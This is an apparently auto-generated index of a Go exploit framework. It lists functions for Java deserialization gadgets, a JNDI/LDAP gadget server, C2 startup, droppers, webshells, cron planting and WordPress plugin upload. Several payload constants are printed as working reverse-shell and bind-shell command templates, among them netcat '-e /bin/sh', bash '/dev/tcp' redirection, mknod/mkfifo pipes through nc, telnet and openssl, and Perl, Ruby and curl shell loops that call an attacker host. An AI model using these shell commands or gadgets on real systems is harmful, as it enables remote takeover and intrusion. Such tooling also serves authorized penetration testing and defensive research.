10) | func SP800108HMACSHA512(key []byte, label []byte, context []byte, outLen... FILE: encryption/xor.go function XOR (line 4) | func XOR(data, key []byte) []byte { function XORByte (line 18) | func XORByte(data []byte, key byte) []byte { FILE: encryption/xor_test.go function TestXOR (line 10) | func TestXOR(t *testing.T) { function TestXOREmptyKey (line 25) | func TestXOREmptyKey(t *testing.T) { function TestXORByte (line 33) | func TestXORByte(t *testing.T) { function TestXORNullByteAvoidance (line 48) | func TestXORNullByteAvoidance(t *testing.T) { FILE: framework.go type VersionCheckType (line 87) | type VersionCheckType constant NotVulnerable (line 91) | NotVulnerable VersionCheckType = 0 constant Vulnerable (line 93) | Vulnerable VersionCheckType = 1 constant PossiblyVulnerable (line 95) | PossiblyVulnerable VersionCheckType = 2 constant Unknown (line 97) | Unknown VersionCheckType = 3 constant NotImplemented (line 99) | NotImplemented VersionCheckType = 4 type Exploit (line 190) | type Exploit interface function doVerify (line 201) | func doVerify(sploit Exploit, conf *config.Config) bool { function doVersionCheck (line 225) | func doVersionCheck(sploit Exploit, conf *config.Config) bool { function determineServerSSL (line 252) | func determineServerSSL(rhost string, rport int) (bool, bool) { function parseCommandLine (line 267) | func parseCommandLine(conf *config.Config) bool { function StartC2 (line 289) | func StartC2(conf *config.Config) bool { function startC2Server (line 293) | func startC2Server(conf *config.Config) bool { function doScan (line 339) | func doScan(sploit Exploit, conf *config.Config) bool { function StoreVersion (line 429) | func StoreVersion(conf *config.Config, version string) { function CheckSemVer (line 441) | func CheckSemVer(version string, constraint string) bool { function updateGoDebug (line 461) | func updateGoDebug() { function addPayloadMetadata (line 476) | func addPayloadMetadata(conf *config.Config) { function RunProgram (line 549) | func RunProgram(sploit Exploit, conf *config.Config) { FILE: framework_test.go function TestCheckSemVer_Full (line 9) | func TestCheckSemVer_Full(t *testing.T) { function TestCheckSemVer_BadVersion (line 18) | func TestCheckSemVer_BadVersion(t *testing.T) { function TestCheckSemVer_BadConstraint (line 27) | func TestCheckSemVer_BadConstraint(t *testing.T) { FILE: java/gadget_test.go function TestPackBigFloat (line 12) | func TestPackBigFloat(t *testing.T) { function TestCreateGWT (line 19) | func TestCreateGWT(t *testing.T) { function TestCreateGroovy1 (line 29) | func TestCreateGroovy1(t *testing.T) { function TestCreateCommonsCollections6 (line 38) | func TestCreateCommonsCollections6(t *testing.T) { function TestCreateCommonsCollections5 (line 47) | func TestCreateCommonsCollections5(t *testing.T) { function TestCreateCommonsCollections1 (line 56) | func TestCreateCommonsCollections1(t *testing.T) { FILE: java/gadgets.go function CreateGWT (line 30) | func CreateGWT(command string) ([]byte, bool) { function CreateGroovy1 (line 163) | func CreateGroovy1(command string) ([]byte, bool) { function CreateCommonsCollections6 (line 423) | func CreateCommonsCollections6(program string, args string) ([]byte, boo... function CreateCommonsCollections5 (line 711) | func CreateCommonsCollections5(program string, args string) ([]byte, boo... function CreateCommonsCollections1 (line 1130) | func CreateCommonsCollections1(program string, args string) ([]byte, boo... FILE: java/javaclass.go function ReverseShellBytecode (line 33) | func ReverseShellBytecode(conf *config.Config) (string, string) { function ReverseShellScriptingEngineBytecode (line 251) | func ReverseShellScriptingEngineBytecode(conf *config.Config) (string, s... FILE: java/javagadget.go function ErrorInvalidCommandLength (line 22) | func ErrorInvalidCommandLength(msg string) error { function ErrorInvalidCallbackArg (line 26) | func ErrorInvalidCallbackArg(msg string) error { function Commons6ModifiedBashCommandBytecode (line 36) | func Commons6ModifiedBashCommandBytecode(commandStr string) (string, err... function Commons10CommandBytecode (line 160) | func Commons10CommandBytecode(commandStr string) (string, error) { function C3P0ClassCallbackBytecode (line 433) | func C3P0ClassCallbackBytecode(baseURL, className string) (string, error) { function JacksonGenericCommand (line 455) | func JacksonGenericCommand(cmd string) (string, error) { function CreateBeanutilsReverseShell (line 487) | func CreateBeanutilsReverseShell(lhost string, lport int) string { function CreateJythonRunCodeGadget (line 841) | func CreateJythonRunCodeGadget(payload string) string { FILE: java/ldapjndi/ldapjndi.go type GadgetName (line 30) | type GadgetName constant TomcatNashornReverseShell (line 34) | TomcatNashornReverseShell GadgetName = 0 constant TomcatGenericBash (line 36) | TomcatGenericBash GadgetName = 1 constant GroovyGenericBash (line 37) | GroovyGenericBash GadgetName = 2 constant BeanUtils194GenericBash (line 39) | BeanUtils194GenericBash GadgetName = 3 constant HTTPReverseShell (line 41) | HTTPReverseShell GadgetName = 4 constant JacksonGenericCommand (line 43) | JacksonGenericCommand GadgetName = 5 function handleBind (line 56) | func handleBind(w ldap.ResponseWriter, _ *ldap.Message) { function handleSearch (line 64) | func handleSearch(writer ldap.ResponseWriter, msg *ldap.Message) { function CreateLDAPServer (line 96) | func CreateLDAPServer(name string) *ldap.Server { function SetLDAPGadget (line 117) | func SetLDAPGadget(gadget GadgetName, binary, lhost string, lport int, c... function SetLDAPHTTPClass (line 139) | func SetLDAPHTTPClass(gadget GadgetName, lhost string, lport int, httpHo... function createTomcatNashornReverseShell (line 179) | func createTomcatNashornReverseShell(binary, lhost string, lport int) st... function createTomcatGenericGadget (line 287) | func createTomcatGenericGadget(command string) string { function createGroovyGenericBash (line 357) | func createGroovyGenericBash(command string) string { function createBeanUtils194GenericBash (line 421) | func createBeanUtils194GenericBash(command string) string { function createHTTPReverseShell (line 620) | func createHTTPReverseShell(lhost string, lport int, classname string) s... FILE: java/objects.go type Field (line 16) | type Field interface type TCContent (line 21) | type TCContent interface type TCObject (line 25) | type TCObject struct method ToBytes (line 102) | func (tcObject TCObject) ToBytes() ([]byte, bool) { type TCArray (line 30) | type TCArray struct method ToBytes (line 134) | func (tcArray TCArray) ToBytes() ([]byte, bool) { type ArrayBytes (line 35) | type ArrayBytes struct method ToBytes (line 242) | func (arrayBytes ArrayBytes) ToBytes() ([]byte, bool) { type TCProxyClassDesc (line 39) | type TCProxyClassDesc struct method ToBytes (line 272) | func (tcProxyClassDesc TCProxyClassDesc) ToBytes() ([]byte, bool) { type TCInteger (line 47) | type TCInteger struct method ToBytes (line 254) | func (tcInteger TCInteger) ToBytes() ([]byte, bool) { type TCFloat (line 51) | type TCFloat struct method ToBytes (line 250) | func (tcFloat TCFloat) ToBytes() ([]byte, bool) { type TCBlockData (line 55) | type TCBlockData struct method ToBytes (line 222) | func (tcBlockData TCBlockData) ToBytes() ([]byte, bool) { type TCNull (line 60) | type TCNull struct method ToBytes (line 238) | func (tcNull TCNull) ToBytes() ([]byte, bool) { type TCEndBlockData (line 62) | type TCEndBlockData struct method ToBytes (line 246) | func (tcEndBlockData TCEndBlockData) ToBytes() ([]byte, bool) { type TCString (line 64) | type TCString struct method ToBytes (line 258) | func (tcString TCString) ToBytes() ([]byte, bool) { type TCReference (line 68) | type TCReference struct method ToBytes (line 262) | func (tcReference TCReference) ToBytes() ([]byte, bool) { type TCClass (line 72) | type TCClass struct method ToBytes (line 122) | func (tcClass TCClass) ToBytes() ([]byte, bool) { type TCClassDesc (line 76) | type TCClassDesc struct method getFieldsBin (line 179) | func (tcClassDesc TCClassDesc) getFieldsBin() ([]byte, bool) { method ToBytes (line 194) | func (tcClassDesc TCClassDesc) ToBytes() ([]byte, bool) { type ObjectField (line 84) | type ObjectField struct method ToFieldBin (line 317) | func (objectField ObjectField) ToFieldBin() ([]byte, bool) { type ArrayField (line 89) | type ArrayField struct method ToFieldBin (line 294) | func (arrayField ArrayField) ToFieldBin() ([]byte, bool) { type IntegerField (line 94) | type IntegerField struct method ToFieldBin (line 310) | func (integerField IntegerField) ToFieldBin() ([]byte, bool) { type FloatField (line 98) | type FloatField struct method ToFieldBin (line 303) | func (floatField FloatField) ToFieldBin() ([]byte, bool) { function lenPrefixedString (line 342) | func lenPrefixedString(input string) string { FILE: output/commonlog.go function SetOutputFile (line 38) | func SetOutputFile(file string) bool { constant LevelTrace (line 54) | LevelTrace = slog.Level(-8) constant LevelDebug (line 56) | LevelDebug = slog.LevelDebug constant LevelStatus (line 58) | LevelStatus = slog.LevelInfo constant LevelWarning (line 60) | LevelWarning = slog.LevelWarn constant LevelVersion (line 62) | LevelVersion = slog.Level(5) constant LevelSuccess (line 64) | LevelSuccess = slog.Level(6) constant LevelError (line 66) | LevelError = slog.LevelError function customLogLevels (line 80) | func customLogLevels(_ []string, a slog.Attr) slog.Attr { function resetLogger (line 105) | func resetLogger(descriptor io.Writer, minLevel slog.Level) *slog.Logger { function PrintShell (line 121) | func PrintShell(msg string) { FILE: output/exploitlog.go function SetExploitLogLevel (line 14) | func SetExploitLogLevel(level slog.Level) { function doExploitLog (line 19) | func doExploitLog(descriptor io.Writer, level slog.Level, msg string, ke... function PrintfTrace (line 33) | func PrintfTrace(format string, msg ...interface{}) { function PrintTrace (line 39) | func PrintTrace(msg string, keys ...any) { function PrintfDebug (line 45) | func PrintfDebug(format string, msg ...interface{}) { function PrintDebug (line 51) | func PrintDebug(msg string, keys ...any) { function PrintfStatus (line 57) | func PrintfStatus(format string, msg ...interface{}) { function PrintStatus (line 63) | func PrintStatus(msg string, keys ...any) { function PrintfWarn (line 69) | func PrintfWarn(format string, msg ...interface{}) { function PrintWarn (line 75) | func PrintWarn(msg string, keys ...any) { function PrintVersion (line 81) | func PrintVersion(msg string, host string, port int, version string) { function PrintfSuccess (line 88) | func PrintfSuccess(format string, msg ...interface{}) { function PrintSuccess (line 94) | func PrintSuccess(msg string, keys ...any) { function PrintfError (line 100) | func PrintfError(format string, msg ...interface{}) { function PrintError (line 106) | func PrintError(msg string, keys ...any) { FILE: output/frameworklog.go function SetFrameworkLogLevel (line 14) | func SetFrameworkLogLevel(level slog.Level) { function doFrameworkLog (line 19) | func doFrameworkLog(descriptor io.Writer, level slog.Level, msg string, ... function PrintfFrameworkTrace (line 33) | func PrintfFrameworkTrace(format string, msg ...interface{}) { function PrintFrameworkTrace (line 39) | func PrintFrameworkTrace(msg string, keys ...any) { function PrintfFrameworkDebug (line 45) | func PrintfFrameworkDebug(format string, msg ...interface{}) { function PrintFrameworkDebug (line 51) | func PrintFrameworkDebug(msg string, keys ...any) { function PrintfFrameworkStatus (line 57) | func PrintfFrameworkStatus(format string, msg ...interface{}) { function PrintFrameworkStatus (line 63) | func PrintFrameworkStatus(msg string, keys ...any) { function PrintfFrameworkWarn (line 69) | func PrintfFrameworkWarn(format string, msg ...interface{}) { function PrintFrameworkWarn (line 75) | func PrintFrameworkWarn(msg string, keys ...any) { function PrintfFrameworkSuccess (line 81) | func PrintfFrameworkSuccess(format string, msg ...interface{}) { function PrintFrameworkSuccess (line 87) | func PrintFrameworkSuccess(msg string, keys ...any) { function PrintfFrameworkError (line 93) | func PrintfFrameworkError(format string, msg ...interface{}) { function PrintFrameworkError (line 99) | func PrintFrameworkError(msg string, keys ...any) { FILE: payload/bindshell/bindshell.go type BindShell (line 15) | type BindShell interface type Default (line 19) | type Default interface type NetcatPayload (line 22) | type NetcatPayload struct type TelnetPayload (line 23) | type TelnetPayload struct FILE: payload/bindshell/bindshell_test.go function TestBindShellNetcatGaping (line 10) | func TestBindShellNetcatGaping(t *testing.T) { function TestBindShellTelnetdLogin (line 20) | func TestBindShellTelnetdLogin(t *testing.T) { function TestBindShellNetcatMknod (line 30) | func TestBindShellNetcatMknod(t *testing.T) { function TestBindShellNetcatMkfifo (line 40) | func TestBindShellNetcatMkfifo(t *testing.T) { FILE: payload/bindshell/netcat.go constant NetcatDefault (line 10) | NetcatDefault = "nc -l -p %d -e /bin/sh" constant NetcatMknod (line 11) | NetcatMknod = `cd /tmp; mknod %s p; nc -l -p %d 0<%s | /bin/sh >%s 2>&... constant NetcatMkfifo (line 12) | NetcatMkfifo = `cd /tmp; mkfifo %s; nc -l -p %d 0<%s | /bin/sh >%s 2>&1... method Default (line 15) | func (nc *NetcatPayload) Default(bport int) string { method Gaping (line 19) | func (nc *NetcatPayload) Gaping(bport int) string { method Mknod (line 23) | func (nc *NetcatPayload) Mknod(bport int) string { method Mkfifo (line 29) | func (nc *NetcatPayload) Mkfifo(bport int) string { FILE: payload/bindshell/telnet.go constant TelnetDefault (line 7) | TelnetDefault = "telnetd -l /bin/sh -p %d" method Default (line 9) | func (telnet *TelnetPayload) Default(bport int) string { method TelnetdLogin (line 13) | func (telnet *TelnetPayload) TelnetdLogin(bport int) string { FILE: payload/dropper/dropper.go type Dropper (line 7) | type Dropper interface type UnixPayload (line 10) | type UnixPayload struct type WindowsPayload (line 11) | type WindowsPayload struct type GroovyPayload (line 12) | type GroovyPayload struct type PHPPayload (line 13) | type PHPPayload struct FILE: payload/dropper/dropper_test.go function TestLinuxCurlHTTPDownloadAndExecute (line 10) | func TestLinuxCurlHTTPDownloadAndExecute(t *testing.T) { function TestLinuxCurlHTTPSDownloadAndExecute (line 32) | func TestLinuxCurlHTTPSDownloadAndExecute(t *testing.T) { function TestWindowsCurlHTTPDownloadAndExecute (line 54) | func TestWindowsCurlHTTPDownloadAndExecute(t *testing.T) { function TestWindowsCurlHTTPSDownloadAndExecute (line 72) | func TestWindowsCurlHTTPSDownloadAndExecute(t *testing.T) { function TestWindowsCertutilHTTPDownloadAndExecute (line 90) | func TestWindowsCertutilHTTPDownloadAndExecute(t *testing.T) { function TestWindowsPowershellHTTPDownloadAndExecute (line 127) | func TestWindowsPowershellHTTPDownloadAndExecute(t *testing.T) { function TestGroovyHTTP (line 165) | func TestGroovyHTTP(t *testing.T) { function TestPHPHTTP (line 174) | func TestPHPHTTP(t *testing.T) { function TestMountV3Only (line 185) | func TestMountV3Only(t *testing.T) { FILE: payload/dropper/groovy.go method HTTP (line 8) | func (groovy *GroovyPayload) HTTP(lhost string, lport int, downloadFile ... FILE: payload/dropper/php.go method HTTP (line 16) | func (php *PHPPayload) HTTP(lhost string, lport int, ssl bool, downloadF... FILE: payload/dropper/unix.go method CurlHTTPDownloadOnly (line 12) | func (unix *UnixPayload) CurlHTTPDownloadOnly(lhost string, lport int, s... method CurlHTTP (line 21) | func (unix *UnixPayload) CurlHTTP(lhost string, lport int, ssl bool, dow... method EitherHTTP (line 34) | func (unix *UnixPayload) EitherHTTP(lhost string, lport int, ssl bool, d... method WgetHTTPEx (line 48) | func (unix *UnixPayload) WgetHTTPEx(lhost string, lport int, ssl bool, d... method WgetHTTP (line 61) | func (unix *UnixPayload) WgetHTTP(lhost string, lport int, ssl bool, dow... method Mountv3Only (line 77) | func (unix *UnixPayload) Mountv3Only(lhost string, lshareDir string, rsh... FILE: payload/dropper/windows.go method CurlHTTPDownloadOnly (line 13) | func (win *WindowsPayload) CurlHTTPDownloadOnly(lhost string, lport int,... method CertutilHTTPDownloadOnly (line 24) | func (win *WindowsPayload) CertutilHTTPDownloadOnly(lhost string, lport ... method CurlHTTP (line 34) | func (win *WindowsPayload) CurlHTTP(lhost string, lport int, ssl bool, d... method CertutilHTTP (line 46) | func (win *WindowsPayload) CertutilHTTP(lhost string, lport int, ssl boo... method PowershellHTTP (line 58) | func (win *WindowsPayload) PowershellHTTP(lhost string, lport int, ssl b... FILE: payload/encode.go function EncodeCommandBrace (line 11) | func EncodeCommandBrace(cmd string) string { function EncodeCommandIFS (line 17) | func EncodeCommandIFS(cmd string) string { FILE: payload/encode_test.go function TestEncodeCommandBrace (line 9) | func TestEncodeCommandBrace(t *testing.T) { function TestEncodeCommandIFS (line 19) | func TestEncodeCommandIFS(t *testing.T) { FILE: payload/fileplant/cron.go type CronPayload (line 11) | type CronPayload struct method SelfRemovingCron (line 27) | func (c *CronPayload) SelfRemovingCron(user string, cronPath string, x... FILE: payload/fileplant/fileplant_test.go function TestEncodeSelfRemovingCron (line 9) | func TestEncodeSelfRemovingCron(t *testing.T) { FILE: payload/payload.go type Type (line 18) | type Type method String (line 276) | func (t Type) String() string { method IsCommand (line 319) | func (t Type) IsCommand() bool { method IsPayload (line 359) | func (t Type) IsPayload() bool { type Arch (line 23) | type Arch method String (line 200) | func (a Arch) String() string { type Effect (line 31) | type Effect method String (line 425) | func (e Effect) String() string { type Effects (line 46) | type Effects type Supported (line 89) | type Supported struct method String (line 184) | func (s Supported) String() string { constant GenericCommand (line 99) | GenericCommand Type = iota constant WindowsCommand (line 102) | WindowsCommand constant WindowsPowerShellCommand (line 104) | WindowsPowerShellCommand constant MacCommand (line 106) | MacCommand constant LinuxCommand (line 108) | LinuxCommand constant LinuxELF (line 110) | LinuxELF constant LinuxSO (line 114) | LinuxSO constant WindowsEXE (line 116) | WindowsEXE constant WindowsDLL (line 119) | WindowsDLL constant Webshell (line 122) | Webshell constant UnspecifiedType (line 123) | UnspecifiedType constant NotDefault (line 127) | NotDefault bool = false constant Default (line 128) | Default = true constant None (line 132) | None Arch = iota constant AMD64 (line 133) | AMD64 constant I386 (line 134) | I386 constant ARMEL (line 135) | ARMEL constant ARMHF (line 136) | ARMHF constant ARM64 (line 137) | ARM64 constant MIPS (line 138) | MIPS constant MIPSEL (line 139) | MIPSEL constant MIPS64 (line 140) | MIPS64 constant MIPS64EL (line 141) | MIPS64EL constant PPC (line 142) | PPC constant PPC64 (line 143) | PPC64 constant PPC64EL (line 144) | PPC64EL constant S390X (line 145) | S390X constant X86_64 (line 148) | X86_64 Arch = AMD64 constant X86 (line 149) | X86 Arch = I386 constant POWER8 (line 150) | POWER8 Arch = PPC64EL constant POWER9 (line 151) | POWER9 Arch = PPC64EL constant AARCH64 (line 152) | AARCH64 Arch = ARM64 constant FileCreate (line 156) | FileCreate Effect = 1 << iota constant FileOverwrite (line 157) | FileOverwrite constant FileDelete (line 158) | FileDelete constant Execute (line 159) | Execute constant InMemory (line 160) | InMemory constant ConfigChanges (line 161) | ConfigChanges constant IndicatorInLogs (line 162) | IndicatorInLogs constant AccountLockout (line 163) | AccountLockout constant Physical (line 164) | Physical constant WebRequest (line 165) | WebRequest constant ReverseShellTCP (line 166) | ReverseShellTCP constant ReverseShellUDP (line 167) | ReverseShellUDP constant ReverseShellTLS (line 168) | ReverseShellTLS constant Unknown (line 170) | Unknown constant maxKey (line 171) | maxKey constant ReverseShellSSL (line 173) | ReverseShellSSL Effect = ReverseShellTLS function ArchFromString (line 238) | func ArchFromString(s string) Arch { function TypeFromString (line 392) | func TypeFromString(s string) Type { FILE: payload/payload_test.go function TestArchFromString (line 9) | func TestArchFromString(t *testing.T) { function TestTypeFromString (line 63) | func TestTypeFromString(t *testing.T) { FILE: payload/reverse/bash.go constant BashDefault (line 8) | BashDefault = BashTCPRedirection constant BashTCPRedirection (line 9) | BashTCPRedirection = `bash -c 'bash &> /dev/tcp/%s/%d <&1'` constant BashHTTPShellLoop (line 10) | BashHTTPShellLoop = `bash -c 'while :; do curl -d "$(bash -c "$(curl %s... method Default (line 14) | func (bash *BashPayload) Default(lhost string, lport int) string { method TCPRedirection (line 19) | func (bash *BashPayload) TCPRedirection(lhost string, lport int) string { method HTTPShellLoop (line 25) | func (bash *BashPayload) HTTPShellLoop(lhost string, lport int, ssl bool... FILE: payload/reverse/gjscript.go method Default (line 14) | func (gjs *GJScriptPayload) Default(lhost string, lport int) string { method GLibSpawn (line 20) | func (gjs *GJScriptPayload) GLibSpawn(lhost string, lport int) string { FILE: payload/reverse/groovy.go method Default (line 15) | func (groovy *GroovyPayload) Default(lhost string, lport int) string { method GroovyClassic (line 20) | func (groovy *GroovyPayload) GroovyClassic(lhost string, lport int) stri... FILE: payload/reverse/java.go method Default (line 16) | func (java *JavaPayload) Default(lhost string, lport int) string { method UnflattenedJava (line 22) | func (java *JavaPayload) UnflattenedJava(lhost string, lport int) string { FILE: payload/reverse/jjs.go method Default (line 26) | func (jjs *JJSScriptPayload) Default(lhost string, lport int, ssl bool) ... FILE: payload/reverse/js.go method NodeJS (line 17) | func (js *JavascriptPayload) NodeJS(lhost string, lport int) string { method SecureNodeJS (line 22) | func (js *JavascriptPayload) SecureNodeJS(lhost string, lport int) string { FILE: payload/reverse/netcat.go constant NetcatDefault (line 10) | NetcatDefault = NetcatGaping constant NetcatGaping (line 11) | NetcatGaping = `nc %s %d -e /bin/sh` constant NetcatMknod (line 12) | NetcatMknod = `cd /tmp/; mknod %s p;cat %s|/bin/sh -i 2>&1|nc %s %d >%... method Default (line 15) | func (nc *NetcatPayload) Default(lhost string, lport int) string { method Gaping (line 20) | func (nc *NetcatPayload) Gaping(lhost string, lport int) string { method Mknod (line 25) | func (nc *NetcatPayload) Mknod(lhost string, lport int) string { FILE: payload/reverse/openssl.go constant OpenSSLDefault (line 10) | OpenSSLDefault = OpenSSLMknod constant OpenSSLMknod (line 11) | OpenSSLMknod = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | openssl s_clien... constant OpenSSLMkfifo (line 12) | OpenSSLMkfifo = `cd /tmp; mkfifo %s; sh -i < %s 2>&1 | openssl s_client... method Default (line 15) | func (openssl *OpenSSLPayload) Default(lhost string, lport int) string { method Mknod (line 19) | func (openssl *OpenSSLPayload) Mknod(lhost string, lport int) string { method Mkfifo (line 25) | func (openssl *OpenSSLPayload) Mkfifo(lhost string, lport int) string { FILE: payload/reverse/perl.go constant PerlDefault (line 8) | PerlDefault = PerlSocket constant PerlSocket (line 9) | PerlSocket = `perl -e 'use Socket;$i="%s";$p=%d;socket(S,PF_INET,SOC... constant PerlFork (line 10) | PerlFork = `perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::I... constant PerlNonBlocking (line 11) | PerlNonBlocking = `perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"%s:%d... method Default (line 14) | func (perl *PerlPayload) Default(lhost string, lport int) string { method Socket (line 19) | func (perl *PerlPayload) Socket(lhost string, lport int) string { method Fork (line 24) | func (perl *PerlPayload) Fork(lhost string, lport int) string { method NonBlocking (line 29) | func (perl *PerlPayload) NonBlocking(lhost string, lport int) string { FILE: payload/reverse/php.go method Default (line 19) | func (php *PHPPayload) Default(lhost string, lport int) string { method LinuxInteractive (line 24) | func (php *PHPPayload) LinuxInteractive(lhost string, lport int) string { method Unflattened (line 33) | func (php *PHPPayload) Unflattened(lhost string, lport int, encrypted bo... method UnflattenedSelfDelete (line 44) | func (php *PHPPayload) UnflattenedSelfDelete(lhost string, lport int, en... FILE: payload/reverse/php/unflattened.php function dataTransfer (line 2) | function dataTransfer($input, $output) { function windowsDataTransfer (line 7) | function windowsDataTransfer($input, $output) { FILE: payload/reverse/php/unflattened_self_delete.php class Del (line 2) | class Del { method __destruct (line 3) | function __destruct() { function dataTransfer (line 10) | function dataTransfer($input, $output) { function windowsDataTransfer (line 15) | function windowsDataTransfer($input, $output) { FILE: payload/reverse/python.go method Default (line 19) | func (py *PythonPayload) Default(lhost string, lport int) string { method Python27 (line 24) | func (py *PythonPayload) Python27(lhost string, lport int) string { method SecurePython27 (line 29) | func (py *PythonPayload) SecurePython27(lhost string, lport int) string { method SecurePython312 (line 36) | func (py *PythonPayload) SecurePython312(lhost string, lport int) string { FILE: payload/reverse/reverse.go type Reverse (line 22) | type Reverse interface type Default (line 26) | type Default interface type BashPayload (line 30) | type BashPayload struct type GJScriptPayload (line 31) | type GJScriptPayload struct type JJSScriptPayload (line 32) | type JJSScriptPayload struct type JavascriptPayload (line 33) | type JavascriptPayload struct type JavaPayload (line 34) | type JavaPayload struct type NetcatPayload (line 35) | type NetcatPayload struct type OpenSSLPayload (line 36) | type OpenSSLPayload struct type PHPPayload (line 37) | type PHPPayload struct type PythonPayload (line 38) | type PythonPayload struct type TelnetPayload (line 39) | type TelnetPayload struct type GroovyPayload (line 40) | type GroovyPayload struct type PerlPayload (line 41) | type PerlPayload struct type RubyPayload (line 42) | type RubyPayload struct type VBSHTTPPayload (line 43) | type VBSHTTPPayload struct FILE: payload/reverse/reverse_test.go function ExampleBashPayload_Default (line 11) | func ExampleBashPayload_Default() { function TestBashDefault (line 17) | func TestBashDefault(t *testing.T) { function TestBashHTTPShellLoop (line 27) | func TestBashHTTPShellLoop(t *testing.T) { function TestNetcatGaping (line 43) | func TestNetcatGaping(t *testing.T) { function TestNetcatMknod (line 53) | func TestNetcatMknod(t *testing.T) { function TestTelnetMknod (line 62) | func TestTelnetMknod(t *testing.T) { function TestTelnetMkfifo (line 84) | func TestTelnetMkfifo(t *testing.T) { function TestOpenSSLMknod (line 103) | func TestOpenSSLMknod(t *testing.T) { function TestOpenSSLMkfifo (line 120) | func TestOpenSSLMkfifo(t *testing.T) { function TestPHPLinuxInteractive (line 137) | func TestPHPLinuxInteractive(t *testing.T) { function TestPHPUnflattened (line 144) | func TestPHPUnflattened(t *testing.T) { function TestPHPUnflattenedSelfDelete (line 156) | func TestPHPUnflattenedSelfDelete(t *testing.T) { function TestGroovyClassic (line 174) | func TestGroovyClassic(t *testing.T) { function TestNodeJS (line 187) | func TestNodeJS(t *testing.T) { function TestPython312 (line 234) | func TestPython312(t *testing.T) { function assertContains (line 260) | func assertContains(t *testing.T, payload string, substrs ...string) { function TestPerlSocket (line 269) | func TestPerlSocket(t *testing.T) { function TestPerlFork (line 274) | func TestPerlFork(t *testing.T) { function TestPerlNonBlocking (line 279) | func TestPerlNonBlocking(t *testing.T) { function TestRubySocket (line 284) | func TestRubySocket(t *testing.T) { function TestRubyFork (line 289) | func TestRubyFork(t *testing.T) { FILE: payload/reverse/ruby.go constant RubyDefault (line 8) | RubyDefault = RubySocket constant RubySocket (line 9) | RubySocket = `ruby -rsocket -e'f=TCPSocket.open("%s",%d).to_i;exec spri... constant RubyFork (line 10) | RubyFork = `ruby -rsocket -e'exit if fork;c=TCPSocket.new("%s",%d);lo... method Default (line 13) | func (ruby *RubyPayload) Default(lhost string, lport int) string { method Socket (line 18) | func (ruby *RubyPayload) Socket(lhost string, lport int) string { method Fork (line 23) | func (ruby *RubyPayload) Fork(lhost string, lport int) string { FILE: payload/reverse/telnet.go constant TelnetDefault (line 10) | TelnetDefault = TelnetMknod constant TelnetMknod (line 11) | TelnetMknod = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s:... constant TelnetMknodNoColon (line 12) | TelnetMknodNoColon = `cd /tmp; mknod %s p; sh -i < %s 2>&1 | telnet %s ... constant TelnetMkfifo (line 13) | TelnetMkfifo = `cd /tmp; mkfifo %s; telnet %s:%d 0<%s | sh 1>%s; ... constant TelnetMkfifoNoColon (line 14) | TelnetMkfifoNoColon = `cd /tmp; mkfifo %s; telnet %s %d 0<%s | sh 1>%s; ... method Default (line 17) | func (telnet *TelnetPayload) Default(lhost string, lport int, colon bool... method Mknod (line 21) | func (telnet *TelnetPayload) Mknod(lhost string, lport int, colon bool) ... method Mkfifo (line 31) | func (telnet *TelnetPayload) Mkfifo(lhost string, lport int, colon bool)... FILE: payload/reverse/vbs.go method Default (line 13) | func (vbs *VBSHTTPPayload) Default(lhost string, lport int, ssl bool, au... FILE: payload/webshell/aspx.go constant aspxTemplate (line 9) | aspxTemplate = `<%@ Page Language="C#" %><%` + method MinimalGet (line 19) | func (aspx *ASPXWebshell) MinimalGet() (string, string) { FILE: payload/webshell/bash.go method MinimalGet (line 5) | func (bash *BashWebshell) MinimalGet() string { FILE: payload/webshell/jsp.go method GetKeyed (line 17) | func (jsp *JSPWebshell) GetKeyed(key string) string { method GetKeyedMinimal (line 24) | func (jsp *JSPWebshell) GetKeyedMinimal(key string) string { FILE: payload/webshell/php.go method MinimalGet (line 13) | func (php *PHPWebshell) MinimalGet() (string, string) { FILE: payload/webshell/webshell.go type Dropper (line 6) | type Dropper interface type ASPXWebshell (line 9) | type ASPXWebshell struct type JSPWebshell (line 10) | type JSPWebshell struct type PHPWebshell (line 11) | type PHPWebshell struct type BashWebshell (line 12) | type BashWebshell struct FILE: payload/webshell/webshell_test.go function TestVerySmallHTTPGET (line 10) | func TestVerySmallHTTPGET(t *testing.T) { function TestJSPWebshell (line 23) | func TestJSPWebshell(t *testing.T) { function TestJSPWebshellMinimal (line 41) | func TestJSPWebshellMinimal(t *testing.T) { function TestBashWebshellMinimal (line 53) | func TestBashWebshellMinimal(t *testing.T) { function TestASPXWebshellMinimalGet (line 66) | func TestASPXWebshellMinimalGet(t *testing.T) { FILE: payload/wrapper.go function Base64EncodeForBash (line 84) | func Base64EncodeForBash(cmd string) string { function Base64EncodeForGroovyEval (line 91) | func Base64EncodeForGroovyEval(cmd string) string { function Base64EncodeForPHPEval (line 98) | func Base64EncodeForPHPEval(cmd string) string { function PHPIconvFilter (line 106) | func PHPIconvFilter(chain string) string { FILE: payload/wrapper_test.go function TestBase64EncodeForBash (line 9) | func TestBase64EncodeForBash(t *testing.T) { function TestBase64EncodeForGroovyEval (line 19) | func TestBase64EncodeForGroovyEval(t *testing.T) { function TestBase64EncodeFoPHPEval (line 29) | func TestBase64EncodeFoPHPEval(t *testing.T) { function TestPHPIconvFilter (line 39) | func TestPHPIconvFilter(t *testing.T) { FILE: product/asus/asus.go function RouterAuthenticate (line 15) | func RouterAuthenticate(conf *config.Config, origin string, username str... FILE: product/wordpress/plugins.go function getPluginNonce (line 35) | func getPluginNonce(conf *config.Config, cookies []*http.Cookie, path st... function GeneratePlugin (line 62) | func GeneratePlugin(payload, name string) (string, []byte, bool) { function UploadPlugin (line 105) | func UploadPlugin(conf *config.Config, cookies []*http.Cookie, zip []byt... FILE: product/wordpress/wordpress.go function Login (line 19) | func Login(conf *config.Config, username, password string) ([]*http.Cook... FILE: protocol/afp/afp.go constant DSICloseSession (line 15) | DSICloseSession = byte(0x1) constant DSICommand (line 16) | DSICommand = byte(0x2) constant DSIGetStatus (line 17) | DSIGetStatus = byte(0x3) constant DSIOpenSession (line 18) | DSIOpenSession = byte(0x4) constant DSITickle (line 19) | DSITickle = byte(0x5) constant DSIWrite (line 20) | DSIWrite = byte(0x6) constant DSIAttention (line 21) | DSIAttention = byte(0x8) constant AFPByteLock (line 22) | AFPByteLock = 0x01 constant AFPCloseVol (line 23) | AFPCloseVol = 0x02 constant AFPCloseDir (line 24) | AFPCloseDir = 0x03 constant AFPCloseFork (line 25) 